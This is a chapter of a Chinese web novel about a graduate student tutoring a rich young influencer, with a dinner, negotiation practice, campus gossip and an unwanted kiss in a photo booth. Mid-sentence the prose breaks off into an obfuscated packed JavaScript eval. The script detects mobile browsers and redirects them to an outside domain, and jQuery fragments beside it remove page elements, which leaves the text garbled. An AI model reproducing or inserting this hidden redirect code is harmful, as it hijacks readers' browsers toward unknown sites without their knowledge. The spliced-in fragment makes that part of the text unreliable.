蒋在野问奚越想吃什么的时候,奚越想也没想地报了一家很有名的土耳其餐厅的名字。
“这家要提前一个月预订。”蒋在野说。
这个奚越还真不知道。他只是在INS上刷到这家餐厅,感兴趣记下来了而已。
“要提前预订的话……”
“不过没关系,他们之前想找我合作。”蒋在野俏皮地眨了眨眼睛,“应该能约上。”
到底是奚越都知道一点名气的油管网红,蒋在野都没使用少爷的钞能力,打了个电话过去,说自己是Zane,马上就订到了位置。
奚越吃上了他心心念念的土耳其菜。
土耳其菜不愧是世界三大菜系之一,奚越吃得很满足,中途餐厅经理过来和蒋在野打招呼送菜,也没影响他。奚越只在听到隔壁桌的客人笑的时候轻轻“嘶”了一声。
“怎么了?”蒋在野问他,“烫到舌头了吗?”他盯着奚越的嘴唇看。
奚越摇摇头:“不是。”他低声道,“隔壁桌……”
他斟酌了一下,吐出一个词:“老钱。”
蒋在野愣了愣,然后开始笑。
他没有刻意模仿老钱笑,他是真的开怀大笑。十八岁的男孩笑起来很青春,很有感染力。奚越确定,蒋在野知道那个梗——当你在国外一家看似并不起眼的当地餐厅吃饭,听见隔壁桌的客人突然发出彰显财富与接受过良好教育的笑的时候,意味着,你将为这顿菜单上只有名字没有价格的晚餐付出天价。
奚越之前打卡割烹料理的时候,就遭遇过这样的至暗时刻。打那之后,他就学聪明了。美国不像国内那样很容易就能查到菜单价和人均,他之后再遇见菜单上没有标注价格的情况,会冷静地直接开口询问服务生。
这家餐厅有标注价格,奚越点菜的时候心里有底。他只是被老钱笑勾出了心理阴影,下意识恶寒了一下。
蒋在野显然也知道这个留子界的可怕的梗。奚越其实不介意他笑,他又不自卑。
等到这顿饭结束,服务生带着pos机过来,问要怎么付款的时候。
奚越说:“你好,请帮我们分开。”
在美国,约会AA其实不算罕见。服务生微笑着调整账单。这下,该蒋在野笑不出来了。
他脸阴沉了一瞬,眨眼间,又恢复了甜美的笑,孩子气地皱着鼻子,问奚越:“哥哥,为什么要分开付?我今天打领带,就是为了和你吃这顿饭。我是为了你才穿正装的。”
“不要问我为什么要分开付——本来就没有理由让你请。领带你爱打不打下次别叫我给你打。”
“哥哥,我听不懂。”
“听不懂没事,你的中文水平确实不支持你听懂我话里面的奥秘。你太年轻了。不过没关系,这个短时间内不会考。”
“……”
蒋在野差点没控制住表情扭曲。
奚越正在从背包里掏钱包,注意力压根没放在蒋在野的身上。蒋在野撑着脸看他,大概猜到了是怎么回事——不想把拜金表现得太明显,AA是欲擒故纵。这种手段骗不到蒋在野,他见过太多捞男捞女了。他们往往一开始的时候能装,装得好像很独立很清高似的。等到信用卡无法负担的时候,就会原形毕露。
不,也不能说是原形毕露,因为他们的最终目的就是捞钱,他们很懂得把握节奏。找准时机,献身然后捞钱。
大概现在还没到奚越的节奏点吧。蒋在野想。
两人分别付完钱,蒋在野照例把奚越送回了学校。反正就在曼哈顿,不差这点儿油。
奚越回到宿舍,啃了会儿书,睡前定闹钟的时候,才发现有未接来电。
Dr.Brown没打通他电话,发了条短信询问他还好吗。
奚越没有武断。他回看了一下早上和傍晚,记录的心率数据,自我感觉没什么大碍,回Dr.Brown:没事,谢谢关心。下周再和您预约咨询。
定好闹钟,奚越美美地睡下。梦因为银行卡到账1400刀而格外香甜。
·
翌日,尽管奚越在微信里再三强调不用蒋在野接,为此他甚至提早出发坐地铁,还是在学校门口看到了那头熟悉的粉毛。
奚越老师只好再一次坐上网红学生的超跑。
不知道哥大论坛里,自己被传成什么样了——这个念头只是一闪而过,奚越现在不想看。他才没精力回应PDF。等考完试再看吧。
蒋在野对这辆帕加尼Zonda F的感情是要深一点,今天没乱停乱放了,规规矩矩地开进地下停车场。
卡翠娜说路总正在开会,于是两人没和路明博打招呼,直接去昨天那间会议室。
“来吧,我先验收一下昨天留的作业。”
奚越拉开椅子,坐下来,双手抱胸,好整以暇地看着蒋在野。
明明是薪水非常低,仅满足不犯法程度的经济合同而非劳务合同,出动蒋在野这位集团少爷和人谈判,那个人应该感恩戴德才是。
奚越却跷着二郎腿,眼神睥睨。
——他的学生才没有那么乖巧。
果然,蒋在野很明显地愣了一下,脸上的表情颇为尴尬。
“没做作业?”奚越说,“Zane,你这样很不听话。”
蒋在野不知道他为什么今天气势一下变强了,他索性破罐子破摔:“我忘了。我可以不交作业吗?”
奚越和他对视了几秒。
“好像确实你不交作业,我也拿你没办法。”奚越遗憾地说道,“可是Zane,这样的话,奖励也没有了。”
奚越转了转椅子,作势要整理今天要用的合同。
只是他手还没碰到,椅子就被人转了回来。
蒋在野凑得很近,严肃地问他:“有奖励?”
奚越颔首。
“给我十分钟。”蒋在野认真道。
昨天那份写有笔记的合同早就不知道被他放哪儿去了,可能是垃圾桶里吧。今天压根就没带过来。
蒋在野跟阵风似的跑出去,找卡翠娜给他重新印了一份,气势汹汹地带着还有些温热的纸张进来,告诉奚越他准备好了。
两人用半小时进行了模拟谈判。
纠纠缠缠,最后以蒋在野一句“你不接受,我就把合同给别人。你老婆孩子会饿死。签不签”,奚越骂他“你这个资本家,你根本不是真心帮我们”但老实签了合同作为结束。
“你无师自通了威逼利诱。”奚越叹息道。
“哥哥,真实的情况比模拟的……sly很多。”
“sly,狡猾、刁钻、难对付。”
“难对付。”蒋在野嘟囔道,“我爸要我做的,真的很难对付。”
奚越没打听具体是什么事。哪怕他清清楚楚地看见,卡翠娜打的合同上的归属,并不是启睿集团。
越是高薪的工作,越要管住嘴。
交了作业,蒋在野兴致勃勃地问:“哥哥,奖励。”
他摊开手,奚越在他手心轻轻拍了一下。
“那你好好听。”
奚越同样用十分钟,给他讲了一个故事,《曹冲称象》。讲得很慢很仔细,不光讲给蒋在野听,回顾小学语文课本,让奚越感到宁静。
在他贫瘠的童年,语文书是唯一的童话,被当年来山区支教的谢如珪所教授。
结果第二天,蒋在野还给了他一个《吉林童话》:
“曹操的体重绝对超过了十吨,因为他的儿子是一头大象。”
“那头大象是一头小飞象,可以拉着船飞。所以中国古代就有飞船。”
“大象原产自非洲,很久以前非洲就是中国的领土。”
奚越忍无可忍地打断他:“好了不许再说了。我就问一个问题,你,不,你爸妈老家是哪儿的?”
“我爸是东北人。”蒋在野回答道。
奚越为自己要求蒋在野回课这件事而懊悔万分。
不过这事儿真不怪蒋在野。奚越不知道,昨天蒋在野回家后,被蒋女士问起情况,蒋在野说了奚越给他讲历史故事,要求他第二天用自己的话复述后,强行加入话题的路明博对儿子进行了怎样的灌输。
蒋在野对中国历史确实不精通,很容易就被他东北血统纯正的老爸给带偏了。
才让奚越今天听到一个让他痛苦万分的故事。吉林童话差点毁了奚越的童年。
“以后不用这种形式了。”奚越痛苦道,“简直就是礼崩乐坏。”
任凭蒋在野怎么挣扎,奚越老师像是下定了某种决心,毅然决然地取消了讲故事奖励。
之后连续一周,课不算多,奚越一边复习一边给蒋在野补课。到他考完试,正好把卡翠娜打印出来的所有合同全都过了一遍。
蒋在野的中文口语进步巨大,他说话不再像之前一样混乱颠倒了。时不时会说几句成语。
但听力还是有问题,这一点可能和脸皮的厚度有关。
具体表现为,无论奚越以什么样的语气说“No kissing.”他都听不懂。奚越确定蒋在野非常健康,这种情况不可能是突发性耳聋。
他只是单纯的偶尔不听人话。
奚越还拿他没办法。
第一堂考试刚好在下午。奚越上午给蒋在野补课,补完课学生强行送他回学校不说,奚越从超跑上下来已经够显眼的了,他还强行给奚越以道别名义的脸颊吻。
不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656060|172864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出意外被人拍了下来。
奚越知道。实际上PDF传到了他这个当事人这里。只不过他是等所有考试结束,才一个个挨着点开看的——这时候,PDF已经被传到哥大论坛上了。
《扒一扒那个和网红谈恋爱的学长》
《震惊!你睡不到的男人坐在帕加尼上》
《有没有人管管那个研究星星月亮的学长啊?eat不到我要玉玉了》
《高冷男神被包养实录》
《留学群劲爆大瓜(15页超长个人向,非合集)》
……
精彩。
奚越挨个点了举报,又给管理员发送邮件,要求删除。
这次,他没站出来辟谣。
·
假期,原本奚越是要去心理咨询诊所的,Dr.Brown的秘书在前一天打电话给他,充满歉意地说,可能他们不得不推迟他的预约了,因为有两个东亚创伤的患者,比奚越的情况严重得多。
奚越非常理解。本来他就没有病,他只是有一些症状。这个症状之前对他生活的影响变大了,所以他找到了Dr.Brown。不过最近因为一些原因,症状有变好的趋势。那么这个阶段,他可以先自行观察。
奚越同意了推迟咨询,回蒋在野,他明天有空——路明博安排的教学已经告一段落,接下来的教学回到了以人为本上,蒋在野本人表示他需要一些户外活动。
Zane秒回:真的吗?哥哥。你不是有事吗?
Xylon:临时取消了。
Zane:太好了!那我预约场馆了!
Xylon:好。
第二天早上奚越才知道,蒋在野预约的场馆是自拍馆。
奚越:“……”
早知道不穿运动服了。
蒋在野自己穿着潮牌,头发抓过造型,整个人看起来像一块XXXL的草莓蛋糕。
奚越考试的这几天,他抽空给已经长出黑色发根的粉毛补了个色。
“哥哥,来帮我拍照。”蒋在野熟门熟路地带着奚越,在布置得风格迥异的房间里穿梭。
他给了奚越一个拍立得,奚越在他的指导下很快就上手了。奚越以前为了挣钱做过淘宝模特,网感不差,蒋在野作为油管上小有名气的网红很擅长面对镜头摆pose,拍出来的照片还不错。
起码蒋在野本人挺满意的。
“为什么不在家拍?”奚越问。
他去过好几次蒋在野家的别墅,那几乎是一个小型庄园,临湖,有各种户外设施。甚至还有一个网球场,虽然蒋在野多数时间都用內画线打排球。
他家里那些装潢,比自拍馆布置出来的贵多了。
“因为不想被知道家境,我特意穿了便宜的衣服呢。”蒋在野朝他wink,“而且这里有一个很棒的东西。”
他拉着奚越,东绕西绕,来到了一个装修成电玩城的拍摄房间。最里面放着一台拍大头贴的机器。
“还能用。”蒋在野熟练地捣鼓着机器,挑选边框背景,“哥哥快过来,我们来拍大头贴。”
不等奚越拒绝或同意,他拽着奚越来到黑布里面,搂着奚越的肩膀,拉着他拍照。
奚越被他强迫着换了很多姿势,两人的身高差有20cm,蒋在野不嫌累地弓着腰,毛茸茸的脑袋和他凑得很近。
然后在某个瞬间,突然亲了上来。
不是脸颊,这次是嘴唇。
奚越完全没有准备,他没想到蒋在野会这么大胆。唇齿间鼻腔里是男孩身上好闻的薄荷青草味。
它们是具象化的荷尔蒙,又或者是费洛蒙,提醒着奚越,你正在和人接吻。
大头贴机还在定时拍照,蒋在野精心挑选的背景将会打印出很多张他们接吻时,角度细微不同的照片。
湿热的舌头试图顶开唇缝时,奚越终于回过神来。
他用力挣开肌肉勃发的胸膛,狠狠甩过去一巴掌。
“嘶——”
蒋在野低头看着他,脸上的表情有一点凶。
在美国,打人是很严重的事。奚越在翻脸和道歉之间犹豫。
还没等他纠结出结果,蒋在野的反应就给了奚越答案。
他居然哭了。
“哥哥,你猜对了,我是同性恋。”
粉色头发的男孩很可怜地抽泣,试图博取原谅和同情。
奚越任由他说来就来的眼泪滴在自己脸上。
大概过了有几十秒,或者一分钟。
他突然慢吞吞地说:“我不信。你不是同性恋。你亲我,是因为你知道我是。”
“小少爷,别装了。你看过PDF,看过那些床照对吗?”